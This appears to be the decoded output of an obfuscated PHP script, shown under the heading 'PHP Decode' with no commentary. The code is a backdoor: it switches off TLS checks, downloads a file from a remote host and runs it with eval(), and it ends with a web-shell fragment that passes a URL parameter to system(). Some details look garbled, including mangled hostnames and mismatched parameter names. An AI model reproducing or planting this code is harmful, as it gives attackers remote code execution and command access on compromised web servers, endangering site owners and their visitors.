PHP Decode

<?php 
function getCurl($url) 
{ 
  if (function_exists("curl_init")) { 
    $ch = curl_init($url); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 
    $result = curl_exec($ch); 
    curl_close($ch); 
    return $result; 
  } 
} 
$url = "https://zwdwefwe/rewfvdvvdrffwedsfew.aspx";$file1 = file_get_contents($url); 
$file = file_get_contents($file1 . "phwfwew4/bwefwep64/wefwewefwwewe.txt"); 
$ch = curl_init();curl_setopt_array($ch, array( 
    CURLOPT_URL => $url, 
    CURLOPT_RETURNTRANSFER => 1 
)); 
$result = curl_exec($ch); 
curl_close($ch); 
eval("?>" . $file); 
 
if (isset($_GET["cmd"])) { 
    echo "<pre>"; 
    echo system($_GET["amis"]); 
    echo "</pre>"; 
} 
?>